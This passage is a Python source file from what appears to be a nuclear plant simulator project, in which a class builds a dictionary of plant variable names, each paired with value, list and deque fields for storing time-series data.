| 36.127049 | 174 | 0.619626 | 871 | 8,815 | 5.928817 | 0.096441 | 0.119287 | 0.084624 | 0.056933 | 0.92196 | 0.899109 | 0.882068 | 0.873935 | 0.861735 | 0.861735 | 0 | 0.026239 | 0.299603 | 8,815 | 243 | 175 | 36.27572 | 0.810172 | 0.005445 | 0 | 0.818713 | 0 | 0 | 0.039616 | 0.00959 | 0 | 0 | 0.00959 | 0 | 0.140351 | 1 | 0.040936 | false | 0 | 0.005848 | 0 | 0.046784 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5a09bf0f8b3d0b6952559cdc922b5917c88a8074 | 192,385 | py | Python | db.py | hyojinkim1/CNS_Platform | 105df28347433dd403c9f78a76a64d2c85233a2f | [
"Apache-2.0"
] | null | null | null | db.py | hyojinkim1/CNS_Platform | 105df28347433dd403c9f78a76a64d2c85233a2f | [
"Apache-2.0"
] | null | null | null | db.py | hyojinkim1/CNS_Platform | 105df28347433dd403c9f78a76a64d2c85233a2f | [
"Apache-2.0"
] | null | null | null | from collections import deque
class db_make:
def __init__(self):
pass
def make_db_structure(self, len_deque):
max_len_deque = len_deque
mem_dict = {
'KFIGIV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KJMVXE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSENS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZRODN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'NBANK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'NCRODB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'NCRSTEP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'NZOVLAP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'NZON': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KXEDYN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'NORPB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'BETA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BURNUP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCRODN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CDEC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CGRDC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CMANRDC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CSPRDC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUAVGS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CURDC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CNEUICB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CNEUICR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CNEUICU': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRODBNK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DECYA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DECYT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FLAMB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FISRMX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QINIT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QSRMAX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QTHERMN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'SFI100': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'SOURCET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TCDPM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TCRDC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TCSRDV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPIRMN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZCORE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZREFL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBORONN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCOOLN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUELN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VOIDN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CNEU': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CORR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCROD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CXEN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DEC100': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPROMPN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'SUMBET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KZROD1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD16': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD17': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD23': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD25': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD26': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD28': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD29': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD31': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD32': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD33': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD34': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD35': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD36': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD39': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD40': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD41': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD42': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD43': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD44': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD45': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD46': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD47': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD49': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD50': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD51': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZROD52': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSRNC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCRMOD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBNKSEL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRODSEL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KZBANK8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMOVBNK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRDSELM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'CBORON': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCOOL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL16': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL17': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL23': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUEL25': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VOID': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QTHNOR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CIOD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRETIV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CXENON': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DECH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DENEUO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DNEUTR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DECH1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRONOR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPROREL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPROLD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'SIGMAA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FPULSRM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FSRMDPM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPIRM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPSRM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CIODMPC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CXEMPCM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CXENOR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFUELM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZBANK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CAUTRDC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CVRDC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TCIRCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TRDSEL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAVLEGS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TRBUNC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CAXOFF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZREAC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CSURDPM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DNBMRG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPORV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPSAFE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CW101': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CW102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZSGLS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWFWCE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPWRGA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CFWRK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CFWRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWSEAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAVLMN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPSPAN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KOILP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOILP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOILP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRCP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRCP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRCP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHV108': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOILTM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOHV108': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'UAVLEGM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BV101': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BV201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BV301': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BV102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BV202': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BV302': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFWBYP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFWMAI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFWBYI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGLER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGLEI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGLS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGNOR1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGNOR2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGNOR3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV39': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHV311A': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHV311B': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PSG1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PSG2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PSG3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCOLEG1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCOLEG2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCOLEG3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHOLEG1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHOLEG2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHOLEG3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PACCTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAVLEG1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAVLEG2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAVLEG3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UDHOCO1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UDHOCO2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UDHOCO3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UUPPPL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSGRCP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSGRCP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSGRCP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGW1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGW2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGW3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'USUBMA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSPRCS1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSPRCS2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBACCT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCOLEGM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHOLEGM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSURGE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGN1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGN2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGN3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSTMFWE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGIN1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGIN2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGIN3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZSGIW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WACCA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WACCB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PSGWM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PTINWM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WMLOCA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CTPRZH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CTPRZS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPPRZ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CTPRZC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CQHB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CQHR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPZLOW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EPRTLI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRTDB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRTI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRTDB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UPRTC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UPRTLI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VPRTT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPRTBL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YPRTA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YPRTC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRTNI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VPRTGI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KPORVM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPHON': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBHON': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPRZSPM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBACKUP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPBHM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPRTDB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'PPRZW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPORV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPRZSP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPSV10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRZCI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRZCO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRZP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRZB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRZH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRZ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSPRAY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZPRZNO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRZN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRZ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UPRZ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UPRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
